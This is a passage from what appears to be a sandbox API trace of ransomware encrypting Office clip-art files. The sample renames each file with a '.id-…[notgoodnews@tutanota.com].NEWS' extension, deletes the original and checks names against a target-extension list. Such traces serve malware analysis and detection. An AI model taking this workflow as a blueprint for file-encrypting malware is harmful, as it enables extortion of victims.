dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0074.372] GetLastError () returned 0x0 [0074.372] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xa24, lpOverlapped=0x0) returned 1 [0074.374] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xa30, lpOverlapped=0x0) returned 1 [0074.375] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.375] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.375] SetEndOfFile (hFile=0x308) returned 1 [0074.375] CloseHandle (hObject=0x308) returned 1 [0074.376] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.376] SetEndOfFile (hFile=0x31c) returned 1 [0074.377] CloseHandle (hObject=0x31c) returned 1 [0074.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0074.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.377] lstrlenW (lpString=".doc") returned 4 [0074.377] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.377] lstrlenW (lpString=".docx") returned 5 [0074.377] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.377] lstrlenW (lpString=".pdf") returned 4 [0074.377] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.377] lstrlenW (lpString=".xls") returned 4 [0074.378] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.378] lstrlenW (lpString=".xlsx") returned 5 [0074.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.378] lstrlenW (lpString=".ppt") returned 4 [0074.378] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.378] lstrlenW (lpString=".zip") returned 4 [0074.378] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.378] lstrlenW (lpString=".rar") returned 4 [0074.378] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.378] lstrlenW (lpString=".bz2") returned 4 [0074.378] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.378] lstrlenW (lpString=".7z") returned 3 [0074.378] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.378] lstrlenW (lpString=".dbf") returned 4 [0074.378] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.378] lstrlenW (lpString=".1cd") returned 4 [0074.378] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.378] lstrlenW (lpString=".jpg") returned 4 [0074.378] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.378] lstrlenW (lpString=".doc") returned 4 [0074.378] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.378] lstrlenW (lpString=".docx") returned 5 [0074.378] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.378] lstrlenW (lpString=".pdf") returned 4 [0074.378] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.378] lstrlenW (lpString=".xls") returned 4 [0074.378] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.378] lstrlenW (lpString=".xlsx") returned 5 [0074.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.378] lstrlenW (lpString=".ppt") returned 4 [0074.379] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.379] lstrlenW (lpString=".zip") returned 4 [0074.379] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.379] lstrlenW (lpString=".rar") returned 4 [0074.379] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.379] lstrlenW (lpString=".bz2") returned 4 [0074.379] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.379] lstrlenW (lpString=".7z") returned 3 [0074.379] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.379] lstrlenW (lpString=".dbf") returned 4 [0074.379] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.379] lstrlenW (lpString=".1cd") returned 4 [0074.379] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0074.379] lstrlenW (lpString=".jpg") returned 4 [0074.379] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.379] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.379] lstrlenW (lpString="AG00139_.GIF") returned 12 [0074.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.379] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=10607) returned 1 [0074.379] CloseHandle (hObject=0x31c) returned 1 [0074.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0074.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.380] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.380] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0074.380] GetLastError () returned 0x0 [0074.380] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x296f, lpOverlapped=0x0) returned 1 [0074.382] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2970, lpOverlapped=0x0) returned 1 [0074.383] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.383] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.383] SetEndOfFile (hFile=0x308) returned 1 [0074.384] CloseHandle (hObject=0x308) returned 1 [0074.385] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.385] SetEndOfFile (hFile=0x31c) returned 1 [0074.386] CloseHandle (hObject=0x31c) returned 1 [0074.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0074.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.386] lstrlenW (lpString=".doc") returned 4 [0074.386] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.386] lstrlenW (lpString=".docx") returned 5 [0074.386] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.386] lstrlenW (lpString=".pdf") returned 4 [0074.387] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.387] lstrlenW (lpString=".xls") returned 4 [0074.387] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.387] lstrlenW (lpString=".xlsx") returned 5 [0074.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.387] lstrlenW (lpString=".ppt") returned 4 [0074.387] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.387] lstrlenW (lpString=".zip") returned 4 [0074.387] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.387] lstrlenW (lpString=".rar") returned 4 [0074.387] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.387] lstrlenW (lpString=".bz2") returned 4 [0074.387] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.387] lstrlenW (lpString=".7z") returned 3 [0074.387] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.387] lstrlenW (lpString=".dbf") returned 4 [0074.387] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.387] lstrlenW (lpString=".1cd") returned 4 [0074.387] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.387] lstrlenW (lpString=".jpg") returned 4 [0074.387] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.387] lstrlenW (lpString=".doc") returned 4 [0074.387] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.387] lstrlenW (lpString=".docx") returned 5 [0074.387] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.387] lstrlenW (lpString=".pdf") returned 4 [0074.387] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.387] lstrlenW (lpString=".xls") returned 4 [0074.387] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.388] lstrlenW (lpString=".xlsx") returned 5 [0074.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.388] lstrlenW (lpString=".ppt") returned 4 [0074.388] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.388] lstrlenW (lpString=".zip") returned 4 [0074.388] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.388] lstrlenW (lpString=".rar") returned 4 [0074.388] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.388] lstrlenW (lpString=".bz2") returned 4 [0074.388] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.388] lstrlenW (lpString=".7z") returned 3 [0074.388] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.388] lstrlenW (lpString=".dbf") returned 4 [0074.388] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.388] lstrlenW (lpString=".1cd") returned 4 [0074.388] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0074.388] lstrlenW (lpString=".jpg") returned 4 [0074.388] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.388] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.388] lstrlenW (lpString="AG00142_.GIF") returned 12 [0074.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.389] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=15308) returned 1 [0074.389] CloseHandle (hObject=0x31c) returned 1 [0074.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0074.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.389] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.389] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0074.390] GetLastError () returned 0x0 [0074.390] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0074.826] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0074.827] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.827] WriteFile (in: hFile=0x308, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.827] SetEndOfFile (hFile=0x308) returned 1 [0074.831] CloseHandle (hObject=0x308) returned 1 [0074.832] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.832] SetEndOfFile (hFile=0x31c) returned 1 [0074.833] CloseHandle (hObject=0x31c) returned 1 [0074.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0074.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.834] lstrlenW (lpString=".doc") returned 4 [0074.834] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.834] lstrlenW (lpString=".docx") returned 5 [0074.834] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.834] lstrlenW (lpString=".pdf") returned 4 [0074.834] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.835] lstrlenW (lpString=".xls") returned 4 [0074.835] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.835] lstrlenW (lpString=".xlsx") returned 5 [0074.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.835] lstrlenW (lpString=".ppt") returned 4 [0074.835] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.835] lstrlenW (lpString=".zip") returned 4 [0074.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.835] lstrlenW (lpString=".rar") returned 4 [0074.835] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.835] lstrlenW (lpString=".bz2") returned 4 [0074.835] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.835] lstrlenW (lpString=".7z") returned 3 [0074.835] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.835] lstrlenW (lpString=".dbf") returned 4 [0074.835] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.835] lstrlenW (lpString=".1cd") returned 4 [0074.835] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.835] lstrlenW (lpString=".jpg") returned 4 [0074.835] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.836] lstrlenW (lpString=".doc") returned 4 [0074.836] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.836] lstrlenW (lpString=".docx") returned 5 [0074.836] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.836] lstrlenW (lpString=".pdf") returned 4 [0074.836] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.836] lstrlenW (lpString=".xls") returned 4 [0074.836] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.836] lstrlenW (lpString=".xlsx") returned 5 [0074.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.836] lstrlenW (lpString=".ppt") returned 4 [0074.836] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.836] lstrlenW (lpString=".zip") returned 4 [0074.836] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.836] lstrlenW (lpString=".rar") returned 4 [0074.836] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.836] lstrlenW (lpString=".bz2") returned 4 [0074.836] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.836] lstrlenW (lpString=".7z") returned 3 [0074.836] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.836] lstrlenW (lpString=".dbf") returned 4 [0074.836] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.836] lstrlenW (lpString=".1cd") returned 4 [0074.836] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0074.837] lstrlenW (lpString=".jpg") returned 4 [0074.837] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.837] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.837] lstrlenW (lpString="AG00169_.GIF") returned 12 [0074.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.839] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=5375) returned 1 [0074.839] CloseHandle (hObject=0x31c) returned 1 [0074.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0074.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0074.839] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.839] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0074.840] GetLastError () returned 0x0 [0074.840] ReadFile (in: hFile=0x31c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, 